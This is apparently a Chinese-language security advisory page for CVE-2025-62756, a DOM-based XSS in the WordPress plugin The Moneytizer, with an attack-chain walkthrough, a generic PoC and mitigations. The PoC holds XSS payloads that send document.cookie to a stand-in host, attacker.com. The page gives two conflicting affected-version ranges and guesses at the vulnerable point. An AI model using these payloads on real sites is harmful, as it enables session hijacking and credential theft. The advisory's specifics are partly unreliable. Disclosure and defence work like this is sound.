IPBUF安全漏洞报告
English
CVE-2025-62756 CVSS 6.5 中危

CVE-2025-62756 The Moneytizer插件DOM型XSS漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-62756
漏洞类型
DOM型跨站脚本攻击(XSS)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WordPress The Moneytizer插件

相关标签

CVE-2025-62756DOM型XSS跨站脚本攻击WordPress插件漏洞The Moneytizer前端漏洞会话劫持客户端攻击CVSS 6.5中危漏洞

漏洞概述

CVE-2025-62756是WordPress平台The Moneytizer插件中的一个DOM型跨站脚本攻击(XSS)漏洞。该漏洞存在于Web页面生成过程中对用户输入的不当处理,导致攻击者可以在受害者的浏览器中执行恶意JavaScript代码。The Moneytizer是一款流行的WordPress广告管理插件,用于在网站上展示广告内容。由于该插件在处理用户输入时未能正确过滤或转义特殊字符,攻击者可以通过构造特定的恶意payload,在管理员访问后台或用户访问前端页面时触发XSS攻击。成功利用此漏洞可能导致会话劫持、凭据窃取、恶意重定向或对网站内容进行篡改等安全风险。由于该漏洞的CVSS评分为6.5,属于中等严重程度,且攻击复杂度较低,但需要用户交互和低权限认证,实际利用难度适中。建议使用该插件的网站管理员尽快升级到最新版本或采取相应的防护措施。

技术细节

该漏洞为DOM型XSS(Cross-site Scripting)类型,区别于传统的存储型或反射型XSS,DOM型XSS的恶意代码执行完全发生在客户端浏览器中。当应用程序将用户可控的数据传递给DOM API(如innerHTML、document.write等)时,如果未进行适当的输入验证和输出编码,攻击者可以通过在URL参数或页面内容中注入恶意脚本来触发漏洞。在The Moneytizer插件中,漏洞点可能位于广告展示逻辑或配置参数处理部分。攻击者构造包含JavaScript事件处理器或脚本标签的payload,当页面渲染时,浏览器将其实解析并执行。由于DOM型XSS不涉及服务器端响应,传统的Web应用防火墙(WAF)可能无法有效检测此类攻击。攻击者通常需要诱导受害者点击特定链接或访问包含恶意代码的页面才能成功利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用The Moneytizer插件及其版本号,通过查看页面源代码或使用WordPress插件检测工具进行侦察
STEP 2
步骤2: 漏洞点识别
攻击者分析插件代码,找到存在DOM型XSS漏洞的参数入口点,通常位于广告配置加载或用户输入处理部分
STEP 3
步骤3: 恶意payload构造
攻击者构造包含恶意JavaScript代码的payload,如<img src=x onerror=alert(document.cookie)>或使用<script>标签包裹的脚本代码
STEP 4
步骤4: 诱导用户访问
攻击者通过钓鱼邮件、社交工程或其他方式诱导具有低权限的管理员或用户访问包含恶意payload的链接
STEP 5
步骤5: 恶意代码执行
当受害者浏览器加载页面时,DOM解析器处理恶意payload并执行其中的JavaScript代码,导致会话劫持或数据窃取
STEP 6
步骤6: 后续攻击
攻击者利用窃取的会话cookie冒充受害者进行进一步攻击,如修改网站内容、安装恶意插件或获取更高权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62756 DOM-based XSS PoC for The Moneytizer plugin // This PoC demonstrates how an attacker could exploit the XSS vulnerability // Attack vector: Inject malicious JavaScript via vulnerable parameter // Replace 'VULNERABLE_URL' with the actual vulnerable endpoint const vulnerableURL = 'https://example.com/wp-admin/admin.php?page=the-moneytizer&param=<img src=x onerror=alert(document.cookie)>'; // For DOM-based XSS, the payload is typically injected through: // 1. URL fragments (#) - processed client-side without server request // 2. URL parameters - processed and reflected in HTML // 3. Local storage/cookies - retrieved and used in DOM manipulation // Example payload using URL fragment: const domXSSPayload = 'https://example.com/#<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // PoC to demonstrate cookie stealing: function demonstrateXSS() { const maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?cookie=\'+document.cookie)">'; console.log('XSS Payload:', maliciousPayload); console.log('This payload could be used to steal session cookies'); return maliciousPayload; } // To test: Inject this payload into the vulnerable parameter and check if it's executed // <svg/onload=alert(document.domain)> - Alternative simple test payload // <img src=x onerror=alert(document.cookie)> - Cookie stealing payload

影响范围

The Moneytizer <= 10.0.6
The Moneytizer <= 10.0.9

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1)限制The Moneytizer插件的使用权限,仅允许可信管理员访问;2)使用HTTPOnly和Secure标志保护Cookie;3)部署Content-Security-Policy头部限制脚本执行;4)对后台管理路径进行访问控制,限制IP访问;5)监控网站日志,关注异常的JavaScript执行请求;6)考虑暂时禁用该插件,待官方发布安全更新后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表